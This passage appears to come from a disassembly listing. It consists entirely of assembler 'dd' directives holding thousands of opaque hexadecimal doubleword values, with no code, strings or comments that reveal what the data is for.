		dd 0C72C292Ch, 0B8CD5C90h, 0F03A1178h, 19363F1Ch, 0BD60FBB3h
		dd 40D99F3Dh, 5CAF650Bh, 26BE8481h, 2288782Ah, 0EFFC2D2Bh
		dd 3940BF25h, 0B76657F3h, 245AF814h, 0FF747C5Dh, 9A3C9B5Ch
		dd 3D045B7Dh, 0CD7A612Bh, 90262763h, 0F9CE81BFh, 22B42E2Eh
		dd 1F2C7331h, 75B956F6h, 17D42332h, 546E303Ch, 581DF8BDh
		dd 0E4A72FA1h, 0AC4F2951h, 2B8A2Bh, 38082E4Bh, 15333015h
		dd 0B1510637h, 1A1F3A75h, 331B6AB4h, 2F1408E3h,	83FA3441h
		dd 374C3D29h, 0D4791978h, 2ECE1939h, 77F443F0h,	371E1174h
		dd 0B9054C39h, 3F3A8432h, 2D16BC1Ah, 65DADDFh, 25251421h
		dd 88AAA05h, 8EA923D3h,	1B4994BEh, 94843702h, 5910A7C7h
		dd 3E6C6C13h, 0BD0CE34Bh, 2C306267h, 156036DDh,	0E1B1A24h
		dd 582E2BEAh, 91B6A44Ch, 0E5369235h, 6E101362h,	8FE94C9Ah
		dd 0B21A3E36h, 0E21CAB51h, 1A209356h, 45268370h, 890C2B88h
		dd 318E982Ch, 35935B28h, 35D5E68Dh, 0F729891Ch,	82E5D432h
		dd 5CC112DAh, 0F22DE221h, 28E724A1h, 2AAFEA9Eh,	8A9B22EEh
		dd 943DF331h, 0F5733491h, 3A9AA037h, 0FED60D84h, 0F81FB914h
		dd 6FAC2FC3h, 52574157h, 443F4146h, 346818EAh, 7321F15Ch
		dd 4435555Dh, 66405054h, 0BE495968h, 7A72724Bh,	64301F6Dh
		dd 22AD283Ah, 0AF2E3F26h, 48406E79h, 43442F4Dh,	565D5D5Dh
		dd 4B387616h, 7860484Eh, 1C5C1F7Fh, 735A535Ch, 21643220h
		dd 1BCF2E35h, 3C2A853Bh, 202B0570h, 76F3DA36h, 5727379Dh
		dd 3D393A27h, 0F3773832h, 101FBA39h, 2C213C09h,	44CE0121h
		dd 37724A2Ah, 0C72A222Fh, 329BF014h, 0B42D8B3Bh, 31D23A3Fh
		dd 79163F9Ah, 0F61F1B9Fh, 3D362000h, 0E6253F23h, 0F1E258FCh
		dd 0A649C0A8h, 7367657Ch, 0F9DD18F0h, 3A380ED7h, 7AFA283Ah
		dd 191C671Bh, 0E29EF73Ah, 0E5E26723h, 7FC02627h, 0EE2D8B9Ah
		dd 0A0302CB9h, 2034531Bh, 53145D66h, 34A5B96Ah,	4909A93Eh
		dd 115106Bh, 0CDFB432Eh, 4886A9BCh, 0ED1BA9F1h,	50ACC705h
		dd 9327036h, 7D4F74DCh,	56D26C38h, 9A3E7C42h, 3F9ADC48h
		dd 22A77D89h, 6927A596h, 0CB2BAC3Dh, 0AA6E2CACh, 33333F31h
		dd 5DF379Ch, 9A06389Dh,	3E9B193Dh, 1E1852EBh, 2623251Ch
		dd 59107A26h, 186B2C26h, 1C592F7Fh, 3019DFh, 21673701h
		dd 995C3A9Ah, 9C1A3E9Bh, 1D323C3Dh, 437B142Ah, 2C5C162Ah
		dd 72082453h, 172F2E2Bh, 5E7C0F14h, 65175A55h, 4A3E152Ch
		dd 6BC6618h, 189D3F3Fh,	0F1171Eh, 62ECA76h, 0D82D13C5h
		dd 0CC507BA9h, 0CFAA2240h, 0B7363245h, 564237CAh, 625BB76Ah
		dd 2AD76D11h, 153E263Ch, 0A4616038h, 1768AE21h,	0A2EF29A1h
		dd 5A1E53ACh, 774BA0Eh,	363974h, 6C026FB3h, 1CBB4E83h
		dd 9270B097h, 23275C3Ch, 0D04907A0h, 760AAB27h,	0A12DD9D4h
		dd 4D7F4F0Ch, 0B046837Dh, 85774714h, 1D12C348h,	53626880h
		dd 212F05E1h, 252B232Dh, 22992729h, 909D42Ah, 3141273Eh
		dd 1D7C033Eh, 6B3012C9h, 468A3AABh, 2BDA3F7Eh, 501F6F9Bh
		dd 2452B322h, 0B42FA648h, 0F3B2A58h, 0F02F5F8Ah, 45E88006h
		dd 8515B635h, 149B3A48h, 1B3F4FF5h, 6ECDAB3Fh, 0F80B0120h
		dd 7562555h, 462A58CBh,	5EC002FCh, 0C552E130h, 57E63545h
		dd 3B12D16Dh, 207F6417h, 359CC491h, 228579DDh, 0E5C5AE4Fh
		dd 2929AFCEh, 22AC39EBh, 94B433CEh, 3595B130h, 51D2F805h
		dd 2237055Bh, 7D3C3A3Fh, 99723B1Eh, 26243323h, 2029ECA5h
		dd 0D2E4132h, 1574A678h, 15345316h, 5528A835h, 6B387A31h
		dd 0A9CED76Eh, 70178B9Ch, 0FB32E18h, 281323C4h,	2725F542h
		dd 342B2B22h, 3763FEF3h, 574F16CAh, 2AA4E137h, 6B4528A6h
		dd 0E7088570h, 35BD7E90h, 97262D57h, 1AEEC12Bh,	0D0FCEF2Fh
		dd 0B3FBBA31h, 61637530h, 3B3EB46Fh, 475B0BCh, 75D83096h
		dd 0CA162116h, 0AD80242Bh, 2AE0ABDFh, 0DCED1FD4h, 19E0C781h
		dd 0F7BECD33h, 0C7B2CFBCh, 3CD43CFAh, 0D597BECCh, 2220FE9Dh
		dd 0AE4287D1h, 29797F6Dh, 0F1003ED5h, 0CE152E2Ch, 1A3F49C4h
		dd 3B383429h, 3048BF29h, 1BA23C2Eh, 217EE1E2h, 0AD27C921h
		dd 40330279h, 3ED91D89h, 33994C3Dh, 0E43A028Fh,	38F13F07h
		dd 3F3BA9BFh, 9339D53Ch, 1F6E838Eh, 2157BD48h, 26D0B8CCh
		dd 2ADEBD4Eh, 2B462D5Ch, 4631D386h, 653EA0F5h, 399AB737h
		dd 61FE0E94h, 8B15139Bh, 2C0E232h, 36F48F89h, 482B8217h
		dd 0E210D38h, 30988F05h, 363A157Ch, 3A363838h, 0B3452FBBh
		dd 4E109B2Ch, 0AA77494Bh, 0FE4F22FBh, 3A98AD77h, 1D374BBFh
		dd 0A38B96Eh, 753247F1h, 693AF7B5h, 0F2783ED1h,	63593EF0h
		dd 0EF94484Eh, 613333C9h, 0E9D3C66Dh, 0C2C3E596h, 64C610ADh
		dd 0FD7A377Dh, 936CBEF1h, 0E8B034F9h, 0D2770230h, 0CAD75C3Eh
		dd 478001A0h, 35C1E582h, 28D94D8Bh, 4C6DAF6Bh, 0A3A000A1h
		dd 0B5288405h, 285C6156h, 0D699D56Ah, 4C060EFCh, 6B005312h
		dd 17B015BCh, 28C17B10h, 0A52E6F5Bh, 64CEB5D7h,	0DE3BAC47h
		dd 0C839DC56h, 0EE6ED438h, 1B186A3Fh, 19F1A6Bh,	652157B2h
		dd 59173781h, 7C4F7A7Bh, 37EA22Ah, 0F571A353h, 21182B66h
		dd 1B3875B7h, 0BC5D19ACh, 2D008C2Dh, 3786E249h,	0B737A828h
		dd 8D292A3Eh, 332F1226h, 763EDA15h, 5B226189h, 2ED3019Ah
		dd 14985CC0h, 251FFE0Fh, 0C1ABCCC8h, 0C436E225h, 2B707964h
		dd 474D4C6Fh, 7D1C6D55h, 7F627078h, 3B383D29h, 7A37CE2Ch
		dd 6F6D5115h, 27AE2FFAh, 6464737Fh, 1E291926h, 4C4C7B77h
		dd 5B27760Fh, 2EA7FC73h, 6D3AEB3Ch, 5A3D5252h, 3D6F6C50h
		dd 914F6D4Eh, 51475646h, 0B28A776h, 2F438A4Ch, 65726F0Fh
		dd 0B5521516h, 2FC71D36h, 7C44DBEFh, 419B5928h,	2CE04F07h
		dd 23E3B634h, 423F1645h, 7A697839h, 0CF072C6Dh,	41310624h
		dd 22432ACAh, 91BA8938h, 97D7513Dh, 5E1CB8DDh, 0A8074105h
		dd 372634F9h, 2C074B5Dh, 222E0323h, 75283431h, 445F5B5Dh
		dd 5F225C50h, 15BE5C1Ch, 7F3D021Ah, 47552879h, 4B15A551h
		dd 2A5C464Eh, 5D05495Fh, 545E1006h, 0B3B41431h,	5D575159h
		dd 31233C15h, 4D9E0639h, 0B9A3BB9Eh, 2750CBA9h,	0A021A57Ch
		dd 83DE3A59h, 1AE12FD9h, 0BEE5B8CBh, 0C4D2BCC1h, 0FE9972FBh
		dd 8DA9B77h, 279B16DDh,	2C23D5ABh, 0A324A4D8h, 25A165E3h
		dd 0B5266DBDh, 0E251B3F1h, 0A442B2FCh, 6F373352h, 4E2A6F20h
		dd 4A1D6811h, 2232215Bh, 0A18E25A1h, 2B283529h,	212FB92Fh
		dd 30323220h, 33383496h, 8B783A38h, 3F3B333Dh, 101CA218h
		dd 21212819h, 212B25EFh, 0BF32B27h, 2E25222Ah, 3C30D82Ch
		dd 3531343Ah, 303739C1h, 9D393F3Bh, 161B1B1Eh, 222091DFh
		dd 0D9AE35CBh, 190D826h, 2C2C68D8h, 0EDAF4FC7h,	26F8CCCDh
		dd 81A63336h, 0FB43E6Bh, 821C92D7h, 0E68117BFh,	0BA23AB0Bh
		dd 67682455h, 61A6653Eh, 5EC6EA6Dh, 35CCCEB7h, 3AA65032h
		dd 62D2E63Eh, 0A387393Dh, 1D3F1F13h, 27087122h,	21502727h
		dd 292F752Ah, 3D7B2C2Ch, 3126A832h, 0E8321A61h,	6DBC1AB9h
		dd 3E2FFD17h, 1C122819h, 562322A1h, 352720B6h, 28B42A28h
		dd 2D260429h, 0A2809B2Dh, 34493C7Fh, 365DD835h,	663F38EAh
		dd 1D031B20h, 212F1F11h, 252B232Dh, 29272729h, 222C24D5h
		dd 3E30202Eh, 3A343C32h, 36383836h, 3D33C43Ah, 1C143F31h
		dd 20101E12h, 242C222Eh
		dd 27D8262Ah, 232B2529h, 3F2F212Dh, 3B333D31h, 0C7373935h
		dd 3C343A36h, 0DDB43FFDh, 158EDE42h, 0A33A2C20h, 2636C9A5h
		dd 29A32B28h, 2F4639B1h, 0B030A930h, 2C8FDD58h,	0B668B919h
		dd 3F261978h, 1EC7E04Eh, 0E6A2211Dh, 271A92Fh, 0A7282827h
		dd 1D3D0867h, 0BB6330EFh, 0F131107Fh, 32311C73h, 313D333Bh
		dd 1D13043Fh, 212F1F11h, 252E232Dh, 2940D84Ch, 2D6F9022h
		dd 31914B2Fh, 51643732h, 3D3812BFh, 0B66A3B6Bh,	386FB6CFh
		dd 0A015F619h, 0C44FFA30h, 289FCC90h, 3D65A728h, 240B6AEAh
		dd 0F3373231h, 7BD66A33h, 3CBF5EBBh, 745D5B4Fh,	971C3C73h
		dd 0C14B514Bh, 4C222566h, 4F5A0D9Dh, 3C010D02h,	2748E031h
		dd 17021835h, 5F38BB68h, 65FC3DACh, 2C152E13h, 2921002Eh
		dd 10171621h, 0FA295A18h, 482CDD2Ch, 0E5B0611Fh, 361D1464h
		dd 0CD692C07h, 8FFFBDC2h, 1F9F492Bh, 0F2DF1F2Ah, 0C2E5DBA9h
		dd 0FAF8D836h, 7D7BD321h, 3F61BB20h, 711C4FC1h,	3D680F12h
		dd 513FFB62h, 60AB3487h, 0B02B531Dh, 70AA5A3Fh,	98570401h
		dd 89D85E28h, 5A43092Dh, 0DC621281h, 0B99CAE34h, 483A1839h
		dd 3D133F18h, 1E3B091Dh, 644F194h, 27B78D25h, 0D462809h
		dd 0A16FF2Dh, 1657E931h, 37A79935h, 0B36C3819h,	3F7F3C1Eh
		dd 321C394Fh, 81352139h, 9D052462h, 0AA4DCCA7h,	2E6CCC2Bh
		dd 3270E099h, 0D25B34D7h, 3ADD4137h, 3ED969BCh,	801CFFADh
		dd 0C5881FFAh, 0C1719522h, 29CCE626h, 0F72CCFE6h, 0A4D52FCAh
		dd 0D1C433D6h, 39DCC936h, 3DDF9433h, 1CFF2B04h,	21FFE02h
		dd 443642FFh, 1FE29537h, 0B42E28A9h, 2B0F2A0Ch,	3B333D6Eh
		dd 0B9373535h, 777F7A7Ah, 976F7A7Ch, 55AE2DA4h,	22CA6572h
		dd 3F766547h, 0CAEA417Eh, 0AAA56E3Dh, 2B6092F0h, 2F43A324h
		dd 7CA6387Dh, 0BB7A323Dh, 955E2C65h, 2301802Ah,	5495664Bh
		dd 89FFD765h, 8F2CBC37h, 0B4BB1C2Eh, 0B6454433h, 743DDC18h
		dd 11D51800h, 0C681ADDh, 0C9701E0Bh, 24363D70h,	3D982A53h
		dd 395A6B3Eh, 605FC68Ah, 460897E1h, 0AC7917BDh,	87D4F462h
		dd 1B9F1F3Eh, 54728ED5h, 22233361h, 0BA1EC5CDh,	0A79F3647h
		dd 0D821F629h, 0CB3432E7h, 1C7BBDCAh, 3D3B502Dh, 8B8D66Bh
		dd 3F25E2E3h, 492B55D3h, 4D962525h, 4B292827h, 0D0274FC4h
		dd 335A76CFh, 377200D8h, 1FAEB439h, 3C3E993Ch, 52904E4Ch
		dd 0CA5D203Bh, 0D9DA2807h, 457BA84Fh, 0AD12382Bh, 1865382Fh
		dd 0E33D3469h, 3B996B35h, 29AF3724h, 22EA113Eh,	5CE11A1Fh
		dd 9003322h, 0CE2226F9h, 2FAA2AE9h, 2130668Ah, 3F35E66Fh
		dd 3C39312Eh, 483E7239h, 191A7B10h, 3C1FC684h, 2500B0B5h
		dd 2929392Fh, 0BAA52078h, 3A7F27DDh, 64613881h,	3E3EC55Dh
		dd 0C395A4Bh, 1EE35604h, 0E03E1F1Ch, 21FAF135h,	0CF4A2DC5h
		dd 2CFA784Eh, 57C62458h, 35D10FB0h, 3E05305Ch, 0C45B99BDh
		dd 0B7D73C8Ch, 530D2D7Ah, 0B2EBC82Dh, 0EA34953Fh, 45A55C54h
		dd 0DA0BEC5Bh, 42415F2Ch, 5702BB83h, 93A7C73h, 39FF066Bh
		dd 0A7D91D8Fh, 10C7B1Eh, 44504C56h, 5A08274Ah, 5E48454Fh
		dd 14300F14h, 463E3356h, 39565655h, 52521B00h, 68681F4Ah
		dd 546D7F9Dh, 23234644h, 49274A32h, 622F2A50h, 202F4F41h
		dd 40567C30h, 3A37A795h, 297A3D74h, 109FB6EDh, 1F535951h
		dd 4E6E1D21h, 459611F5h, 292A7D68h, 5D42425Bh, 217DE15Bh
		dd 3615323Dh, 0BC48AD0Ah, 53AE00ACh, 581810DAh,	0B973537Eh
		dd 0D6242621h, 0F11B7F2Fh, 2E01AAEDh, 3331AE16h, 39EEB032h
		dd 3AF7BD37h, 4ABBB638h, 442C1A14h, 2555DF9Ah, 0B5CF2291h
		dd 76A6AA32h, 0CEC44EBAh, 0B530283Eh, 0F6A03CF2h, 3B4CECB2h
		dd 3F3F283Dh, 0C3F73B3h, 0BCEB3AF5h, 32244FF6h,	2020262Dh
		dd 9D3E06E8h, 5E29232Bh, 950E3760h, 2F3A5741h, 993C98h
		dd 13BE5B6Fh, 4130DD1Eh, 0F22A4979h, 263FAEC5h,	4974EF3Eh
		dd 2E3C0367h, 232CD960h, 2E761554h, 3CDA3ACAh, 1B6E3BB7h
		dd 20FD7BF3h, 773124AEh, 2E244FCBh, 6A2849FFh, 7B2659F0h
		dd 84D2F8C7h, 0FED30B8h, 314C2045h, 3A256AB0h, 1DBD0EB6h
		dd 67AB16F5h, 6BAF4B3Eh, 10CDD73Eh, 2C9D31F8h, 24B92332h
		dd 34853393h, 2576BC2Eh, 2174B222h, 221F09h, 0F9F75A1Ch
		dd 6F2360h, 50264659h, 2CAB7B3Bh, 30BF7C55h, 1464635Dh
		dd 0B3656660h, 44391AF7h, 7AD72A3Fh, 0CF123FEFh, 0CB237D20h
		dd 0F57B4890h, 2BFB0D28h, 0CC7137ECh, 0B20E8730h, 7929F732h
		dd 3F4A3838h, 82B21D68h, 0B633CC76h, 0E53D20A8h, 383D0067h
		dd 57092B27h, 0A3E5A729h, 66BC902Fh, 66051033h,	68786D62h
		dd 63D53C6Ah, 9E1E1BABh, 5420E0E6h, 24244B1Ch, 292A2727h
		dd 0F7483ED5h, 31BB2E2Ch, 0CA643212h, 1D385F23h, 393CFFB9h
		dd 8392A0B7h, 0BF968194h, 0DB67EDA8h, 6CE862EAh, 68E46EE6h
		dd 74E06AE2h, 70FC76FEh, 0F773F9CAh, 0F37FF57Dh, 0D47BF179h
		dd 0D05AD258h, 67ED3E64h, 63E961EBh, 6FEC6DE7h,	2F2F2D65h
		dd 4B716E6Fh, 5644734Ch, 735F5438h, 4B3F3518h, 3F54A12h
		dd 2223DC1Fh, 22E1A722h, 74EF68ACh, 2F2D28E9h, 3BF60120h
		dd 0BFBE6830h, 0BF3B6437h, 399D48F2h, 0E6F0F36Eh, 27792C1Eh
		dd 1429224Ah, 2D288642h, 2944D440h, 730AADFh, 10BD5762h
		dd 0B83C3736h, 0DFB0536Bh, 0F47272BEh, 0B7FD74Fh, 76D1B7ABh
		dd 0D75DFA0h, 3C06DAAAh, 0CF4B4422h, 3A73E224h,	853DFD9h
		dd 2416DA17h, 395E1E5Dh, 30E10771h, 2C222E0Eh, 28262A24h
		dd 242A2628h, 8C2E222Ch, 73ED313Fh, 0EA565DCBh,	0F508FE0Ah
		dd 0E70CE90Eh, 0FB2FC329h, 812012Dh, 71166D10h,	461A4914h
		dd 0E41EED18h, 0C502D91Ch, 0D010700h, 550D7803h, 0DF09490Fh
		dd 0E528E90Bh, 715112Ah, 17110817h, 691D1E13h, 63196C1Fh
		dd 0B0057A1Bh, 9401BD07h, 61380D7Ah, 48064B00h,	1C21BE04h
		dd 1A87248Eh, 1E9F1885h, 0E51DE725h, 0C611CF13h, 0AD92E17h
		dd 0F20093Fh, 0F170D2Ah, 0EF000602h, 1BAF3A2Dh,	1F261F1Ch
		dd 8117A223h, 128E2511h, 1EE21C97h, 102E171Dh, 9208740Ah
		dd 75305F7Fh, 4CAC6Bh, 0FB8B4FBh, 0F036919h, 373122BDh
		dd 22E4AAE3h, 8AA24EE4h, 0E71E137Dh, 602BF0A6h,	2A6F3473h
		dd 0EA214F66h, 1E3D8C59h, 0C381B0Fh, 6FAD687Dh,	3352C261h
		dd 19D9DCCEh, 0BDC47B1Eh, 3D50257Eh, 31373262h,	2CC73765h
		dd 3C3EE3EEh, 9053B465h, 41F9A39h, 0B5602391h, 0A4E3A2A4h
		dd 28E92969h, 0A04E2F2Dh, 1F330D06h, 4E9C7635h,	0EF3C9178h
		dd 903F686Ch, 3B6A94EDh, 0AB6CAC24h, 67B9CD20h,	3264A44Ch
		dd 3F645E2Ch, 0BBE20319h, 0C773B20h, 0C848F2C0h, 5DBE1BADh
		dd 1E129CF4h, 2D262010h, 26252B23h, 26A42C21h, 220DA1ABh
		dd 0FA3DBDA6h, 0BF213462h, 0B7F00BB7h, 0B1E66CBFh, 955434CEh
		dd 5240383Dh, 25762CAAh, 297A7235h, 362C793Dh, 747E2F0Eh
		dd 677B6466h, 6938177Dh, 6F7B7468h, 143B727Fh, 202F302Ch
		dd 6A626E2Dh, 66662268h, 457C2FAAh, 30404A43h, 52134146h
		dd 6F17445Ah, 5B103A38h, 6B4A514Fh, 2C0E3D6Fh, 6243100Eh
		dd 917682Eh, 1B721B08h,	0BCCD74DAh, 2D62D34Bh, 0BDDE5531h
		dd 5F3F2D69h, 570D382Fh, 3B64AEEBh, 22C7251Fh, 26AAAE67h
		dd 0C1BEA222h, 77F87A09h, 363437BBh, 235A313Fh,	359A3838h
		dd 0C111033Bh, 31239357h, 890C5C49h, 572D4931h,	5482B07h
		dd 0F22B9B28h, 0E16E060h
		dd 143130B6h, 3CE232E9h, 38131DC5h, 7D13537Ch, 241D757Eh
		dd 504A4A76h, 2601825Ch, 232A4672h, 802B91A3h, 40135335h
		dd 5E525A41h, 6A1BBC28h, 6F5A5705h, 1BE8BF2Ch, 1A132088h
		dd 31961152h, 892BCB0Bh, 1E2FC911h, 32D022D8h, 7F37D13Bh
		dd 0D939D108h, 0DC32DC3Dh, 0F635331Ah, 23C0BEECh, 824C090h
		dd 0C8CAA2CFh, 2FC9A92Ah, 0D0E2D802h, 0D2629632h, 0F9D11436h
		dd 0DA143DD9h, 0F537533Eh, 0DA21FDADh, 0F25C029h, 0AD27FCA3h
		dd 0C5807EAAh, 207CEF16h, 63719231h, 0B126078Fh, 0AC18BFB3h
		dd 3897B62Ch, 0A14455BCh, 3C75B241h, 37B53EC4h,	734B83Dh
		dd 0F314EBEDh, 24FFB53Eh, 0ED3646E7h, 3F6BFD68h, 0D4FF6F39h
		dd 4D772C38h, 36DD0D03h, 0A5DF16EEh, 0A62A3569h, 51E81590h
		dd 31B919ABh, 0D038D4F3h, 0B0FD323Ch, 31DE6CC6h, 0DCE52FE2h
		dd 4741081Ch, 87022CD9h, 0C54C48CDh, 4CCEED3Eh,	0CA531024h
		dd 24F6EBB8h, 32BC2A77h, 7FE9D30Bh, 0FFDD0B2Dh,	0FB2B1B0Eh
		dd 24400802h, 8D0CAB66h, 4C7F282Ah, 2005320h, 4405DBCDh
		dd 28042C3Eh, 0FD613DD2h, 0BC194F35h, 0D0941D1Dh, 2A26F680h
		dd 3B2E59CDh, 20DA2715h, 0D824BE24h, 343B6D50h,	32432437h
		dd 0BD336A32h, 0EBB41EEDh, 2C0A1FF7h, 0CB722908h, 17246616h
		dd 0A02C178h, 7F122F6Fh, 31712FD8h, 0DF72657Ch,	5330D82Ch
		dd 61DE06E0h, 3A499C96h, 6FC9727Bh, 435E512h, 0BE3AC813h
		dd 3EE92F2Bh, 1DE1D824h, 76CACB00h, 26591C35h, 34B53E5Fh
		dd 1F7D00D7h, 0C1C81E8Dh, 24B64004h, 2D282607h,	0CE25587Ch
		dd 0A0317336h, 34CCB003h, 0B26F2F42h, 1CF8066Eh, 6B3B4F5Dh
		dd 0DE5E2FCAh, 51340210h, 2AF379D5h, 741E320Bh,	13224FD2h
		dd 0D03F373Ah, 8D3AF239h, 5F349937h, 1F3F022Eh,	7A6C7C6Bh
		dd 56677D20h, 7484043h,	5853297Bh, 5C434858h, 5B32656Ch
		dd 5B711551h, 3B535D59h, 4D51495Dh, 45161C68h, 23292B1Ch
		dd 404A5701h, 224C4315h, 28282C52h, 4652710Eh, 5F43345Ah
		dd 54565144h, 513D6F67h, 464244F9h, 202013DCh, 2526B328h
		dd 7F283BEAh, 2DA1DAA1h, 0BC200B6Ah, 6538177Eh,	0F8DFDF36h
		dd 0FDB8C4C4h, 4B237F4Ah, 2C3B6296h, 64330621h,	0D6985ECDh
		dd 3E2A7AD6h, 0BB7E2E7Ah, 0F24FDAFFh, 3A72C9CBh, 2C3A3F15h
		dd 1B143E02h, 0B776E276h, 23226298h, 27874125h,	2B4E792Ch
		dd 2B2E08A5h, 0C2B96761h, 1342BC34h, 9ABAD13Ch,	57C12DC1h
		dd 487D534Bh, 23306E92h, 26317DA3h, 62FEF23h, 2BAD3DCAh
		dd 32A68AC7h, 3E11786Dh, 64FFB337h, 0FABE3F1Bh,	8717F21Fh
		dd 2329FB53h, 0C925926Dh, 0A0E4AC3Eh, 508CB4Eh,	308DC77Eh
		dd 7536407Bh, 0D12A3F2Ch, 793DD315h, 0EF86D76Eh, 2B4A1EFDh
		dd 221306B5h, 2AE72D57h, 3F333659h, 2CAFE2C5h, 34832183h
		dd 0D0222E36h, 3F4A162Ch, 7D39ACA9h, 11AC4DFDh,	438EC972h
		dd 0E7186509h, 9C9B2828h, 7F3E4720h, 6127CE66h,	0B4345500h
		dd 0DA3F09C0h, 3913F96Ch, 1E1DCC97h, 4A694A58h,	960819CBh
		dd 0A5797E17h, 9EEB2D9Ah, 71A10D2Eh, 19E53580h,	0B16062CBh
		dd 0CFC1867Eh, 24E71706h, 0E8501B11h, 614C722Ah, 0AC686BABh
		dd 8C7D7B7Ch, 313B5F44h, 2543D307h, 184CB594h, 8A5D6FB1h
		dd 2F1F1B3Eh, 201EA6D4h, 0E6A62222h, 0F9662751h, 0DB2B5FC9h
		dd 200B7AA6h, 346DF4BAh, 2D5734B4h, 0BEFB31B8h,	7AF2636h
		dd 2DFE9091h, 0A32B61D7h, 6517244Fh, 2A90DA21h,	936B1C27h
		dd 0B633D1B3h, 0B33935F4h, 0B0393930h, 0D66A3971h, 0DD091C0Bh
		dd 2326021Eh, 0E26D693Ah, 6168D7CEh, 20EC3C03h,	3CFA9398h
		dd 3535248Eh, 0BE3214DCh, 7A8DFE99h, 0E224473Fh, 0E6E0176Bh
		dd 20CF2622h, 0E12FA79Dh, 1C6C6A83h, 0BA6E7029h, 0B015F3F1h
		dd 4C58F7F7h, 0F8B76436h, 8F9A1A3Fh, 1F385C9Ah,	72230440h
		dd 6A4D224Fh, 8BEA09F7h, 45EFBFACh, 0BF173431h,	0B3A2420h
		dd 0B15758F9h, 90155643h, 5F3ACDD3h, 21222370h,	25264E4Ch
		dd 1A463F18h, 36FE2A3Ah, 0C3762C01h, 3436B55Ch,	1DEA246Ch
		dd 344E66ADh, 0D8DD991Bh, 22E1049Bh, 4E9DA027h,	2F5C22C6h
		dd 254F7493h, 3BDE3F49h, 33CA3CADh, 6BF53838h, 5E7D546Dh
		dd 2E1D19F4h, 806B2CE8h, 22C6BB68h, 5D1807AFh, 33064B08h
		dd 352E2F4Fh, 549EDB62h, 0B264F71Dh, 3A1DCBA0h,	0D63EF7Fh
		dd 92C16B1Fh, 68002122h, 0F0D03E85h, 0CCA8EA32h, 91402EAFh
		dd 85B6F731h, 4E393535h, 894D3A1Eh, 1B3544B4h, 89D4E22h
		dd 23545BABh, 0FCA23509h, 0BAF585Dh, 866E0960h,	19D5AAB3h
		dd 0B73D6931h, 2BB3725h, 372BC27Ch, 1D1C1EC0h, 0A9351C66h
		dd 113AA6FBh, 0F1AC37A7h, 2C2DD32Bh, 0B95575A6h, 0B5613470h
		dd 7FB03DCFh, 393D4153h, 18745EF8h, 21AB1C1Eh, 0A59D7371h
		dd 0E91B2426h, 0EE28942Ah, 64B92E2Ch, 46B9335Eh, 0B293C427h
		dd 0BD356B79h, 1D4A6F23h, 0C8396525h, 0D98F22BBh, 0E6AC76DAh
		dd 310BD3A2h, 2E7F0D21h, 0DC132D90h, 0F06F3767h, 0D260BED1h
		dd 4DCF3E5Dh, 3BDEC7F4h, 0A82777Ah, 876B3452h, 0EEBE300h
		dd 0A6784D3Fh, 2356D920h, 8F37A435h, 0EB3B282Bh, 1E6AD53Fh
		dd 974B1719h, 6EC92817h, 0E2A627E3h, 0A9A5A52Dh, 46257E29h
		dd 34B10D73h, 0DE5C7BBEh, 0C6F3A637h, 0ADB2B6C4h, 4D1F3B3Fh
		dd 71B49894h, 0CD4C7222h, 0F9C9BBE3h, 3CECD137h, 357130DEh
		dd 350C26B6h, 0B82EBC27h, 793689C0h, 1C7B8ABBh,	0D0709EBDh
		dd 64239B22h, 26D82555h, 0DF78C2E7h, 4521D129h,	34363CC0h
		dd 3D361B32h, 32CE34C6h, 18CF556Dh, 0EADA13E7h,	3C83C22Eh
		dd 0B9CE2BDBh, 0D42F3917h, 0DD20D222h, 0C985873Eh, 0CA30473Ah
		dd 0CA87AB36h, 0D44DBD32h, 7EFEA015h, 0EC2FCF1Ch, 0E57B2593h
		dd 4E9C3126h, 44292C8Ah, 893158D0h, 373577B7h, 3AB05C67h
		dd 0BF393C1Eh, 1D1D47D3h, 74731D1Eh, 190A874h, 2028265Eh
		dd 0A0D5A07Dh, 0B1BD5140h, 35381ABDh, 0B806DF34h, 0F0B71B66h
		dd 9DDD7FD6h, 2D6B47h, 74736DACh, 0A974CEC9h, 6B4D6E2Ah
		dd 56692CEDh, 0A5A53331h, 5E6351B5h, 0B1ABFB10h, 2D22FF25h
		dd 9E499C32h, 0CA20E46h, 6FF243B2h, 384CA639h, 2A6EBDC4h
		dd 0A073D960h, 51A54234h, 5DBD7D2Dh, 59B53EA8h,	934C8CAFh
		dd 0F17F7D40h, 29328B71h, 25292727h, 2E28872Bh,	0F239368Fh
		dd 1D53025h, 421DE881h,	6D9AD46Bh, 8206DE74h, 743A8F04h
		dd 393AC2E3h, 9C07471h,	35FC103Ah, 2B9133ACh, 6A3245F7h
		dd 9922466Bh, 3DC3C407h, 4A1BFA3Ch, 0AD58151Eh,	14CB1D6Eh
		dd 0A42C2764h, 2F2BA20Dh, 330D256Dh, 3F78396Eh,	5234369Eh
		dd 1CAFD261h, 0F613814h, 1A3E431Eh, 0D56C7F22h,	79275DE4h
		dd 13A34829h, 6E3E6AACh, 631A2ED0h, 5732F4B7h, 3F4A1D3Ch
		dd 0FFDEE0D4h, 95DE4542h, 2DEC87Ah, 33DAAC56h, 0D5372813h
		dd 2C6DF60Eh, 37330C2Ah, 34052530h, 0B2F83932h,	3F4D19C4h
		dd 1E1E1BF8h, 2334D81Fh, 0E22323h, 0CD76524h, 212C7A0Ah
		dd 0B1F3EF1Dh, 21362B36h, 3BBA6222h, 313EB92Ah,	161A593Eh
		dd 3E151CDDh, 24082839h, 1E2D2244h, 2D05202Dh, 9DD8362Ah
		dd 86E4B393h, 603337B4h, 2CFD3E3Bh, 0F293EE39h,	17D9CF2h
		dd 4322C3C6h, 27C47404h, 0CFFCC0ECh, 2DCAE32Eh,	33D096F6h
		dd 37D61554h, 3138B180h, 0FC47383Eh, 0AE42B50Eh, 0DE2AEF84h
		dd 75143562h, 0C2797F57h, 4E290CF8h, 0B1113126h, 0BD37CF33h
		dd 0B9344CCFh, 4A3C54C0h
		dd 0CD070A37h, 268113FEh, 59632BD4h, 0A2CD8727h, 6DDA18E9h
		dd 79385B66h, 4213B47h,	49FF31DEh, 0B63E2E59h, 8181F2Fh
		dd 3477A64Fh, 4425821Ah, 68246688h, 8DA42808h, 0F08F6E24h
		dd 0CB329330h, 39178E20h, 0EDD36A29h, 3F22FB2Eh, 9E2F51F4h
		dd 8B37DE31h, 23671364h, 0A803B5A0h, 4CEA3833h,	129B1536h
		dd 0C9363AF1h, 33C83937h, 987EFC85h, 951F9545h,	63ABA1DEh
		dd 0A0AC3A12h, 0A0FFEF0h, 0E74E0E2Eh, 0B931265Bh, 42F5B132h
		dd 40B06827h, 3A1BD90Ah, 78FF1C9Eh, 27807407h, 25AF9737h
